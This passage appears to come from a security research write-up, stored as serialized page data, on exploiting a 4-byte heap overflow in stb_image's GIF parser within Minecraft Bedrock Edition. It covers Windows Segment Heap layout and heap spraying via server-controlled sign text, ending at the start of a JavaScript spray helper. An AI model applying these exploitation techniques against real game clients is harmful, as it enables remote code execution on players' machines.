}\n",[153872],{"type":24,"tag":80,"props":153873,"children":153874},{"__ignoreMap":7},[153875,153938,153977,154016,154055,154094,154133],{"type":24,"tag":147,"props":153876,"children":153877},{"class":149,"line":150},[153878,153882,153886,153890,153894,153898,153902,153906,153910,153914,153918,153922,153926,153930,153934],{"type":24,"tag":147,"props":153879,"children":153880},{"style":235},[153881],{"type":29,"value":153192},{"type":24,"tag":147,"props":153883,"children":153884},{"style":241},[153885],{"type":29,"value":369},{"type":24,"tag":147,"props":153887,"children":153888},{"style":241},[153889],{"type":29,"value":12767},{"type":24,"tag":147,"props":153891,"children":153892},{"style":235},[153893],{"type":29,"value":114872},{"type":24,"tag":147,"props":153895,"children":153896},{"style":241},[153897],{"type":29,"value":495},{"type":24,"tag":147,"props":153899,"children":153900},{"style":247},[153901],{"type":29,"value":153213},{"type":24,"tag":147,"props":153903,"children":153904},{"style":235},[153905],{"type":29,"value":9358},{"type":24,"tag":147,"props":153907,"children":153908},{"style":247},[153909],{"type":29,"value":114872},{"type":24,"tag":147,"props":153911,"children":153912},{"style":235},[153913],{"type":29,"value":495},{"type":24,"tag":147,"props":153915,"children":153916},{"style":247},[153917],{"type":29,"value":153230},{"type":24,"tag":147,"props":153919,"children":153920},{"style":235},[153921],{"type":29,"value":153235},{"type":24,"tag":147,"props":153923,"children":153924},{"style":247},[153925],{"type":29,"value":153240},{"type":24,"tag":147,"props":153927,"children":153928},{"style":241},[153929],{"type":29,"value":1263},{"type":24,"tag":147,"props":153931,"children":153932},{"style":705},[153933],{"type":29,"value":17364},{"type":24,"tag":147,"props":153935,"children":153936},{"style":235},[153937],{"type":29,"value":37174},{"type":24,"tag":147,"props":153939,"children":153940},{"class":149,"line":160},[153941,153945,153949,153953,153957,153961,153965,153969,153973],{"type":24,"tag":147,"props":153942,"children":153943},{"style":321},[153944],{"type":29,"value":58234},{"type":24,"tag":147,"props":153946,"children":153947},{"style":235},[153948],{"type":29,"value":408},{"type":24,"tag":147,"props":153950,"children":153951},{"style":247},[153952],{"type":29,"value":140},{"type":24,"tag":147,"props":153954,"children":153955},{"style":235},[153956],{"type":29,"value":9358},{"type":24,"tag":147,"props":153958,"children":153959},{"style":705},[153960],{"type":29,"value":22901},{"type":24,"tag":147,"props":153962,"children":153963},{"style":235},[153964],{"type":29,"value":14286},{"type":24,"tag":147,"props":153966,"children":153967},{"style":241},[153968],{"type":29,"value":3453},{"type":24,"tag":147,"props":153970,"children":153971},{"style":705},[153972],{"type":29,"value":153288},{"type":24,"tag":147,"props":153974,"children":153975},{"style":235},[153976],{"type":29,"value":505},{"type":24,"tag":147,"props":153978,"children":153979},{"class":149,"line":169},[153980,153984,153988,153992,153996,154000,154004,154008,154012],{"type":24,"tag":147,"props":153981,"children":153982},{"style":247},[153983],{"type":29,"value":153300},{"type":24,"tag":147,"props":153985,"children":153986},{"style":235},[153987],{"type":29,"value":9358},{"type":24,"tag":147,"props":153989,"children":153990},{"style":705},[153991],{"type":29,"value":3173},{"type":24,"tag":147,"props":153993,"children":153994},{"style":235},[153995],{"type":29,"value":14286},{"type":24,"tag":147,"props":153997,"children":153998},{"style":241},[153999],{"type":29,"value":369},{"type":24,"tag":147,"props":154001,"children":154002},{"style":247},[154003],{"type":29,"value":43043},{"type":24,"tag":147,"props":154005,"children":154006},{"style":235},[154007],{"type":29,"value":9358},{"type":24,"tag":147,"props":154009,"children":154010},{"style":705},[154011],{"type":29,"value":8753},{"type":24,"tag":147,"props":154013,"children":154014},{"style":235},[154015],{"type":29,"value":37174},{"type":24,"tag":147,"props":154017,"children":154018},{"class":149,"line":178},[154019,154023,154027,154031,154035,154039,154043,154047,154051],{"type":24,"tag":147,"props":154020,"children":154021},{"style":247},[154022],{"type":29,"value":153300},{"type":24,"tag":147,"props":154024,"children":154025},{"style":235},[154026],{"type":29,"value":9358},{"type":24,"tag":147,"props":154028,"children":154029},{"style":705},[154030],{"type":29,"value":1154},{"type":24,"tag":147,"props":154032,"children":154033},{"style":235},[154034],{"type":29,"value":14286},{"type":24,"tag":147,"props":154036,"children":154037},{"style":241},[154038],{"type":29,"value":369},{"type":24,"tag":147,"props":154040,"children":154041},{"style":247},[154042],{"type":29,"value":43043},{"type":24,"tag":147,"props":154044,"children":154045},{"style":235},[154046],{"type":29,"value":9358},{"type":24,"tag":147,"props":154048,"children":154049},{"style":705},[154050],{"type":29,"value":1154},{"type":24,"tag":147,"props":154052,"children":154053},{"style":235},[154054],{"type":29,"value":37174},{"type":24,"tag":147,"props":154056,"children":154057},{"class":149,"line":187},[154058,154062,154066,154070,154074,154078,154082,154086,154090],{"type":24,"tag":147,"props":154059,"children":154060},{"style":247},[154061],{"type":29,"value":153300},{"type":24,"tag":147,"props":154063,"children":154064},{"style":235},[154065],{"type":29,"value":9358},{"type":24,"tag":147,"props":154067,"children":154068},{"style":705},[154069],{"type":29,"value":8753},{"type":24,"tag":147,"props":154071,"children":154072},{"style":235},[154073],{"type":29,"value":14286},{"type":24,"tag":147,"props":154075,"children":154076},{"style":241},[154077],{"type":29,"value":369},{"type":24,"tag":147,"props":154079,"children":154080},{"style":247},[154081],{"type":29,"value":43043},{"type":24,"tag":147,"props":154083,"children":154084},{"style":235},[154085],{"type":29,"value":9358},{"type":24,"tag":147,"props":154087,"children":154088},{"style":705},[154089],{"type":29,"value":3173},{"type":24,"tag":147,"props":154091,"children":154092},{"style":235},[154093],{"type":29,"value":37174},{"type":24,"tag":147,"props":154095,"children":154096},{"class":149,"line":196},[154097,154101,154105,154109,154113,154117,154121,154125,154129],{"type":24,"tag":147,"props":154098,"children":154099},{"style":247},[154100],{"type":29,"value":153300},{"type":24,"tag":147,"props":154102,"children":154103},{"style":235},[154104],{"type":29,"value":9358},{"type":24,"tag":147,"props":154106,"children":154107},{"style":705},[154108],{"type":29,"value":22901},{"type":24,"tag":147,"props":154110,"children":154111},{"style":235},[154112],{"type":29,"value":14286},{"type":24,"tag":147,"props":154114,"children":154115},{"style":241},[154116],{"type":29,"value":369},{"type":24,"tag":147,"props":154118,"children":154119},{"style":247},[154120],{"type":29,"value":43043},{"type":24,"tag":147,"props":154122,"children":154123},{"style":235},[154124],{"type":29,"value":9358},{"type":24,"tag":147,"props":154126,"children":154127},{"style":705},[154128],{"type":29,"value":22901},{"type":24,"tag":147,"props":154130,"children":154131},{"style":235},[154132],{"type":29,"value":37174},{"type":24,"tag":147,"props":154134,"children":154135},{"class":149,"line":205},[154136],{"type":24,"tag":147,"props":154137,"children":154138},{"style":235},[154139],{"type":29,"value":40349},{"type":24,"tag":25,"props":154141,"children":154142},{},[154143,154144,154149,154151,154156,154158,154163],{"type":29,"value":29615},{"type":24,"tag":80,"props":154145,"children":154147},{"className":154146},[],[154148],{"type":29,"value":153500},{"type":29,"value":154150}," has to set the last byte to ",{"type":24,"tag":80,"props":154152,"children":154154},{"className":154153},[],[154155],{"type":29,"value":118916},{"type":29,"value":154157}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":24,"tag":80,"props":154159,"children":154161},{"className":154160},[],[154162],{"type":29,"value":118916},{"type":29,"value":87},{"type":24,"tag":25,"props":154165,"children":154166},{},[154167,154169,154174,154176,154182,154183,154189],{"type":29,"value":154168},"In the code we can see that size of the ",{"type":24,"tag":80,"props":154170,"children":154172},{"className":154171},[],[154173],{"type":29,"value":152957},{"type":29,"value":154175}," allocation is controlled through ",{"type":24,"tag":80,"props":154177,"children":154179},{"className":154178},[],[154180],{"type":29,"value":154181},"g->w",{"type":29,"value":855},{"type":24,"tag":80,"props":154184,"children":154186},{"className":154185},[],[154187],{"type":29,"value":154188},"g->h",{"type":29,"value":154190}," values, both of which are read from the input file itself:",{"type":24,"tag":137,"props":154192,"children":154194},{"code":154193,"language":140,"meta":7,"className":141,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[154195],{"type":24,"tag":80,"props":154196,"children":154197},{"__ignoreMap":7},[154198,154223,154230,154237,154272,154318],{"type":24,"tag":147,"props":154199,"children":154200},{"class":149,"line":150},[154201,154205,154210,154214,154218],{"type":24,"tag":147,"props":154202,"children":154203},{"style":218},[154204],{"type":29,"value":221},{"type":24,"tag":147,"props":154206,"children":154207},{"style":235},[154208],{"type":29,"value":154209}," stbi_uc ",{"type":24,"tag":147,"props":154211,"children":154212},{"style":241},[154213],{"type":29,"value":244},{"type":24,"tag":147,"props":154215,"children":154216},{"style":229},[154217],{"type":29,"value":152136},{"type":24,"tag":147,"props":154219,"children":154220},{"style":235},[154221],{"type":29,"value":154222},"(...)\n",{"type":24,"tag":147,"props":154224,"children":154225},{"class":149,"line":160},[154226],{"type":24,"tag":147,"props":154227,"children":154228},{"style":235},[154229],{"type":29,"value":278},{"type":24,"tag":147,"props":154231,"children":154232},{"class":149,"line":169},[154233],{"type":24,"tag":147,"props":154234,"children":154235},{"style":235},[154236],{"type":29,"value":152698},{"type":24,"tag":147,"props":154238,"children":154239},{"class":149,"line":178},[154240,154244,154248,154252,154256,154260,154264,154268],{"type":24,"tag":147,"props":154241,"children":154242},{"style":321},[154243],{"type":29,"value":58234},{"type":24,"tag":147,"props":154245,"children":154246},{"style":235},[154247],{"type":29,"value":408},{"type":24,"tag":147,"props":154249,"children":154250},{"style":247},[154251],{"type":29,"value":114872},{"type":24,"tag":147,"props":154253,"children":154254},{"style":235},[154255],{"type":29,"value":495},{"type":24,"tag":147,"props":154257,"children":154258},{"style":247},[154259],{"type":29,"value":124294},{"type":24,"tag":147,"props":154261,"children":154262},{"style":241},[154263],{"type":29,"value":8911},{"type":24,"tag":147,"props":154265,"children":154266},{"style":705},[154267],{"type":29,"value":708},{"type":24,"tag":147,"props":154269,"children":154270},{"style":235},[154271],{"type":29,"value":505},{"type":24,"tag":147,"props":154273,"children":154274},{"class":149,"line":187},[154275,154279,154283,154287,154292,154297,154301,154306,154310,154314],{"type":24,"tag":147,"props":154276,"children":154277},{"style":321},[154278],{"type":29,"value":44883},{"type":24,"tag":147,"props":154280,"children":154281},{"style":235},[154282],{"type":29,"value":408},{"type":24,"tag":147,"props":154284,"children":154285},{"style":241},[154286],{"type":29,"value":413},{"type":24,"tag":147,"props":154288,"children":154289},{"style":229},[154290],{"type":29,"value":154291},"stbi__gif_header",{"type":24,"tag":147,"props":154293,"children":154294},{"style":235},[154295],{"type":29,"value":154296},"(s, g, comp,",{"type":24,"tag":147,"props":154298,"children":154299},{"style":705},[154300],{"type":29,"value":3173},{"type":24,"tag":147,"props":154302,"children":154303},{"style":235},[154304],{"type":29,"value":154305},"))     ",{"type":24,"tag":147,"props":154307,"children":154308},{"style":321},[154309],{"type":29,"value":54056},{"type":24,"tag":147,"props":154311,"children":154312},{"style":705},[154313],{"type":29,"value":708},{"type":24,"tag":147,"props":154315,"children":154316},{"style":235},[154317],{"type":29,"value":432},{"type":24,"tag":147,"props":154319,"children":154320},{"class":149,"line":196},[154321,154326,154330,154334,154338,154343,154347,154351,154356,154360,154364,154368,154372,154376,154380,154384,154388,154392,154396],{"type":24,"tag":147,"props":154322,"children":154323},{"style":247},[154324],{"type":29,"value":154325},"      g",{"type":24,"tag":147,"props":154327,"children":154328},{"style":235},[154329],{"type":29,"value":495},{"type":24,"tag":147,"props":154331,"children":154332},{"style":247},[154333],{"type":29,"value":124294},{"type":24,"tag":147,"props":154335,"children":154336},{"style":241},[154337],{"type":29,"value":651},{"type":24,"tag":147,"props":154339,"children":154340},{"style":235},[154341],{"type":29,"value":154342}," (stbi_uc ",{"type":24,"tag":147,"props":154344,"children":154345},{"style":241},[154346],{"type":29,"value":244},{"type":24,"tag":147,"props":154348,"children":154349},{"style":235},[154350],{"type":29,"value":564},{"type":24,"tag":147,"props":154352,"children":154353},{"style":229},[154354],{"type":29,"value":154355},"stbi__malloc",{"type":24,"tag":147,"props":154357,"children":154358},{"style":235},[154359],{"type":29,"value":480},{"type":24,"tag":147,"props":154361,"children":154362},{"style":705},[154363],{"type":29,"value":23134},{"type":24,"tag":147,"props":154365,"children":154366},{"style":241},[154367],{"type":29,"value":1263},{"type":24,"tag":147,"props":154369,"children":154370},{"style":247},[154371],{"type":29,"value":152738},{"type":24,"tag":147,"props":154373,"children":154374},{"style":235},[154375],{"type":29,"value":495},{"type":24,"tag":147,"props":154377,"children":154378},{"style":247},[154379],{"type":29,"value":55169},{"type":24,"tag":147,"props":154381,"children":154382},{"style":241},[154383],{"type":29,"value":1263},{"type":24,"tag":147,"props":154385,"children":154386},{"style":247},[154387],{"type":29,"value":152738},{"type":24,"tag":147,"props":154389,"children":154390},{"style":235},[154391],{"type":29,"value":495},{"type":24,"tag":147,"props":154393,"children":154394},{"style":247},[154395],{"type":29,"value":89928},{"type":24,"tag":147,"props":154397,"children":154398},{"style":235},[154399],{"type":29,"value":1473},{"type":24,"tag":25,"props":154401,"children":154402},{},[154403,154405,154410,154412,154417],{"type":29,"value":154404},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":24,"tag":80,"props":154406,"children":154408},{"className":154407},[],[154409],{"type":29,"value":152957},{"type":29,"value":154411}," and the value of ",{"type":24,"tag":80,"props":154413,"children":154415},{"className":154414},[],[154416],{"type":29,"value":25},{"type":29,"value":154418}," just before the OOB write happens:",{"type":24,"tag":137,"props":154420,"children":154422},{"code":154421},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[154423],{"type":24,"tag":80,"props":154424,"children":154425},{"__ignoreMap":7},[154426],{"type":29,"value":154421},{"type":24,"tag":25,"props":154428,"children":154429},{},[154430,154432,154437,154439,154444],{"type":29,"value":154431},"There are multiple within-bound writes to ",{"type":24,"tag":80,"props":154433,"children":154435},{"className":154434},[],[154436],{"type":29,"value":25},{"type":29,"value":154438},", but the last write happens just after the ",{"type":24,"tag":80,"props":154440,"children":154442},{"className":154441},[],[154443],{"type":29,"value":152957},{"type":29,"value":154445}," allocation.",{"type":24,"tag":43,"props":154447,"children":154449},{"id":154448},"summarizing-the-corruption",[154450],{"type":29,"value":154451},"Summarizing the Corruption",{"type":24,"tag":22292,"props":154453,"children":154454},{},[154455,154468,154496],{"type":24,"tag":2678,"props":154456,"children":154457},{},[154458,154460,154466],{"type":29,"value":154459},"A single ",{"type":24,"tag":80,"props":154461,"children":154463},{"className":154462},[],[154464],{"type":29,"value":154465},"0x01",{"type":29,"value":154467}," byte write OOB",{"type":24,"tag":2678,"props":154469,"children":154470},{},[154471,154473],{"type":29,"value":154472},"4-byte OOB write just above the allocated buffer\n",{"type":24,"tag":22292,"props":154474,"children":154475},{},[154476,154481,154491],{"type":24,"tag":2678,"props":154477,"children":154478},{},[154479],{"type":29,"value":154480},"First three bytes are controllable",{"type":24,"tag":2678,"props":154482,"children":154483},{},[154484,154486],{"type":29,"value":154485},"Last byte will be ",{"type":24,"tag":80,"props":154487,"children":154489},{"className":154488},[],[154490],{"type":29,"value":118916},{"type":24,"tag":2678,"props":154492,"children":154493},{},[154494],{"type":29,"value":154495},"Size of the allocation is controlled",{"type":24,"tag":2678,"props":154497,"children":154498},{},[154499,154501],{"type":29,"value":154500},"Both corruptions are done on a short-lived allocation\n",{"type":24,"tag":22292,"props":154502,"children":154503},{},[154504,154509],{"type":24,"tag":2678,"props":154505,"children":154506},{},[154507],{"type":29,"value":154508},"Allocated just before the image-parsing process",{"type":24,"tag":2678,"props":154510,"children":154511},{},[154512],{"type":29,"value":154513},"Freed immediately upon parsing completion",{"type":24,"tag":2665,"props":154515,"children":154516},{},[],{"type":24,"tag":25,"props":154518,"children":154519},{},[154520,154522,154529,154531,154538],{"type":29,"value":154521},"Note that this bug was already found before (",{"type":24,"tag":2773,"props":154523,"children":154526},{"href":154524,"rel":154525},"https://github.com/nothings/stb/issues/656",[2777],[154527],{"type":29,"value":154528},"Github Issue",{"type":29,"value":154530},") but we missed it at the time. It was later fixed in ",{"type":24,"tag":2773,"props":154532,"children":154535},{"href":154533,"rel":154534},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[2777],[154536],{"type":29,"value":154537},"this commit",{"type":29,"value":87},{"type":24,"tag":32,"props":154540,"children":154541},{"id":11044},[154542],{"type":29,"value":11047},{"type":24,"tag":25,"props":154544,"children":154545},{},[154546],{"type":29,"value":154547},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":24,"tag":25,"props":154549,"children":154550},{},[154551],{"type":29,"value":154552},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":24,"tag":43,"props":154554,"children":154556},{"id":154555},"searching-for-better-primitives",[154557],{"type":29,"value":154558},"Searching for Better Primitives",{"type":24,"tag":25,"props":154560,"children":154561},{},[154562],{"type":29,"value":154563},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":24,"tag":25,"props":154565,"children":154566},{},[154567,154569,154576],{"type":29,"value":154568},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":24,"tag":2773,"props":154570,"children":154573},{"href":154571,"rel":154572},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[2777],[154574],{"type":29,"value":154575},"UWP",{"type":29,"value":154577}," applications (such as Minecraft Bedrock Edition).",{"type":24,"tag":43,"props":154579,"children":154581},{"id":154580},"segment-heap",[154582],{"type":29,"value":154583},"Segment Heap",{"type":24,"tag":25,"props":154585,"children":154586},{},[154587,154589,154596],{"type":29,"value":154588},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":24,"tag":2773,"props":154590,"children":154593},{"href":154591,"rel":154592},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[2777],[154594],{"type":29,"value":154595},"this talk",{"type":29,"value":154597}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":24,"tag":112,"props":154599,"children":154601},{"id":154600},"low-fragmentation-heap",[154602],{"type":29,"value":154603},"Low Fragmentation Heap",{"type":24,"tag":25,"props":154605,"children":154606},{},[154607,154609,154615],{"type":29,"value":154608},"Low Fragmentation Heap (LFH) services allocations of ",{"type":24,"tag":80,"props":154610,"children":154612},{"className":154611},[],[154613],{"type":29,"value":154614},"0x3ff0",{"type":29,"value":154616}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":24,"tag":25,"props":154618,"children":154619},{},[154620],{"type":29,"value":154621},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":24,"tag":137,"props":154623,"children":154625},{"code":154624},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[154626],{"type":24,"tag":80,"props":154627,"children":154628},{"__ignoreMap":7},[154629],{"type":29,"value":154624},{"type":24,"tag":25,"props":154631,"children":154632},{},[154633],{"type":29,"value":154634},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":24,"tag":112,"props":154636,"children":154638},{"id":154637},"variable-size",[154639],{"type":29,"value":154640},"Variable Size",{"type":24,"tag":25,"props":154642,"children":154643},{},[154644,154646,154652,154654,154660],{"type":29,"value":154645},"This subsegment is used for allocation sizes from ",{"type":24,"tag":80,"props":154647,"children":154649},{"className":154648},[],[154650],{"type":29,"value":154651},"0x4000",{"type":29,"value":154653}," and up to ",{"type":24,"tag":80,"props":154655,"children":154657},{"className":154656},[],[154658],{"type":29,"value":154659},"0x20_000",{"type":29,"value":154661},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":24,"tag":137,"props":154663,"children":154665},{"code":154664},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[154666],{"type":24,"tag":80,"props":154667,"children":154668},{"__ignoreMap":7},[154669],{"type":29,"value":154664},{"type":24,"tag":25,"props":154671,"children":154672},{},[154673,154675,154681],{"type":29,"value":154674},"The header, ",{"type":24,"tag":80,"props":154676,"children":154678},{"className":154677},[],[154679],{"type":29,"value":154680},"HEAP_VS_CHUNK_HEADER",{"type":29,"value":154682},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":24,"tag":2665,"props":154684,"children":154685},{},[],{"type":24,"tag":25,"props":154687,"children":154688},{},[154689],{"type":29,"value":154690},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":24,"tag":25,"props":154692,"children":154693},{},[154694,154696,154703],{"type":29,"value":154695},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":24,"tag":2773,"props":154697,"children":154700},{"href":154698,"rel":154699},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[2777],[154701],{"type":29,"value":154702},"technique published",{"type":29,"value":154704}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":24,"tag":25,"props":154706,"children":154707},{},[154708],{"type":29,"value":154709},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":24,"tag":25,"props":154711,"children":154712},{},[154713],{"type":29,"value":154714},"In either case, we needed a way to spray the heap before we could proceed.",{"type":24,"tag":43,"props":154716,"children":154718},{"id":154717},"finding-a-way-to-spray-the-heap",[154719],{"type":29,"value":154720},"Finding a Way to Spray the Heap",{"type":24,"tag":25,"props":154722,"children":154723},{},[154724],{"type":29,"value":154725},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":24,"tag":22292,"props":154727,"children":154728},{},[154729,154734,154739,154744],{"type":24,"tag":2678,"props":154730,"children":154731},{},[154732],{"type":29,"value":154733},"The size of the allocation",{"type":24,"tag":2678,"props":154735,"children":154736},{},[154737],{"type":29,"value":154738},"The data written into the allocated buffer",{"type":24,"tag":2678,"props":154740,"children":154741},{},[154742],{"type":29,"value":154743},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":24,"tag":2678,"props":154745,"children":154746},{},[154747],{"type":29,"value":154748},"The number of created objects (preferably unbounded)",{"type":24,"tag":25,"props":154750,"children":154751},{},[154752],{"type":29,"value":154753},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":24,"tag":112,"props":154755,"children":154757},{"id":154756},"minecraft-signs",[154758],{"type":29,"value":154759},"Minecraft Signs",{"type":24,"tag":25,"props":154761,"children":154762},{},[154763],{"type":29,"value":154764},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":24,"tag":25,"props":154766,"children":154767},{},[154768,154770,154776],{"type":29,"value":154769},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":24,"tag":80,"props":154771,"children":154773},{"className":154772},[],[154774],{"type":29,"value":154775},"std::string",{"type":29,"value":87},{"type":24,"tag":25,"props":154778,"children":154779},{},[154780,154782,154787],{"type":29,"value":154781},"In Microsoft’s C++ implementation, ",{"type":24,"tag":80,"props":154783,"children":154785},{"className":154784},[],[154786],{"type":29,"value":154775},{"type":29,"value":154788}," is structured roughly as follows:",{"type":24,"tag":137,"props":154790,"children":154792},{"code":154791,"language":140,"meta":7,"className":141,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[154793],{"type":24,"tag":80,"props":154794,"children":154795},{"__ignoreMap":7},[154796,154807,154814,154826,154842,154866,154873,154884,154896],{"type":24,"tag":147,"props":154797,"children":154798},{"class":149,"line":150},[154799,154803],{"type":24,"tag":147,"props":154800,"children":154801},{"style":218},[154802],{"type":29,"value":993},{"type":24,"tag":147,"props":154804,"children":154805},{"style":235},[154806],{"type":29,"value":90627},{"type":24,"tag":147,"props":154808,"children":154809},{"class":149,"line":160},[154810],{"type":24,"tag":147,"props":154811,"children":154812},{"style":235},[154813],{"type":29,"value":278},{"type":24,"tag":147,"props":154815,"children":154816},{"class":149,"line":169},[154817,154822],{"type":24,"tag":147,"props":154818,"children":154819},{"style":218},[154820],{"type":29,"value":154821},"    union",{"type":24,"tag":147,"props":154823,"children":154824},{"style":235},[154825],{"type":29,"value":6630},{"type":24,"tag":147,"props":154827,"children":154828},{"class":149,"line":178},[154829,154834,154838],{"type":24,"tag":147,"props":154830,"children":154831},{"style":218},[154832],{"type":29,"value":154833},"        char",{"type":24,"tag":147,"props":154835,"children":154836},{"style":241},[154837],{"type":29,"value":244},{"type":24,"tag":147,"props":154839,"children":154840},{"style":235},[154841],{"type":29,"value":22164},{"type":24,"tag":147,"props":154843,"children":154844},{"class":149,"line":187},[154845,154849,154854,154858,154862],{"type":24,"tag":147,"props":154846,"children":154847},{"style":218},[154848],{"type":29,"value":154833},{"type":24,"tag":147,"props":154850,"children":154851},{"style":247},[154852],{"type":29,"value":154853}," buf",{"type":24,"tag":147,"props":154855,"children":154856},{"style":235},[154857],{"type":29,"value":9358},{"type":24,"tag":147,"props":154859,"children":154860},{"style":705},[154861],{"type":29,"value":46442},{"type":24,"tag":147,"props":154863,"children":154864},{"style":235},[154865],{"type":29,"value":37174},{"type":24,"tag":147,"props":154867,"children":154868},{"class":149,"line":196},[154869],{"type":24,"tag":147,"props":154870,"children":154871},{"style":235},[154872],{"type":29,"value":44594},{"type":24,"tag":147,"props":154874,"children":154875},{"class":149,"line":205},[154876,154880],{"type":24,"tag":147,"props":154877,"children":154878},{"style":218},[154879],{"type":29,"value":1051},{"type":24,"tag":147,"props":154881,"children":154882},{"style":235},[154883],{"type":29,"value":1056},{"type":24,"tag":147,"props":154885,"children":154886},{"class":149,"line":214},[154887,154891],{"type":24,"tag":147,"props":154888,"children":154889},{"style":218},[154890],{"type":29,"value":1051},{"type":24,"tag":147,"props":154892,"children":154893},{"style":235},[154894],{"type":29,"value":154895}," capacity;\n",{"type":24,"tag":147,"props":154897,"children":154898},{"class":149,"line":272},[154899],{"type":24,"tag":147,"props":154900,"children":154901},{"style":235},[154902],{"type":29,"value":1120},{"type":24,"tag":25,"props":154904,"children":154905},{},[154906,154908,154914,154916,154921],{"type":29,"value":154907},"We are primarily interested in the union: ",{"type":24,"tag":80,"props":154909,"children":154911},{"className":154910},[],[154912],{"type":29,"value":154913},"buf",{"type":29,"value":154915}," is used when the string fits within 16 bytes, while ",{"type":24,"tag":80,"props":154917,"children":154919},{"className":154918},[],[154920],{"type":29,"value":19564},{"type":29,"value":154922}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":24,"tag":25,"props":154924,"children":154925},{},[154926],{"type":29,"value":154927},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":24,"tag":25,"props":154929,"children":154930},{},[154931],{"type":29,"value":154932},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":24,"tag":112,"props":154934,"children":154936},{"id":154935},"spraying-with-server-side-scripting",[154937],{"type":29,"value":154938},"Spraying With Server-Side Scripting",{"type":24,"tag":25,"props":154940,"children":154941},{},[154942],{"type":29,"value":154943},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":24,"tag":25,"props":154945,"children":154946},{},[154947,154949,154955,154956,154962],{"type":29,"value":154948},"We wrote ",{"type":24,"tag":80,"props":154950,"children":154952},{"className":154951},[],[154953],{"type":29,"value":154954},"alloc",{"type":29,"value":855},{"type":24,"tag":80,"props":154957,"children":154959},{"className":154958},[],[154960],{"type":29,"value":154961},"free",{"type":29,"value":154963}," helpers that trigger an allocation in the client and free it on demand:",{"type":24,"tag":137,"props":154965,"children":154967},{"code":154966,"language":41216,"meta":7,"className":41214,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || 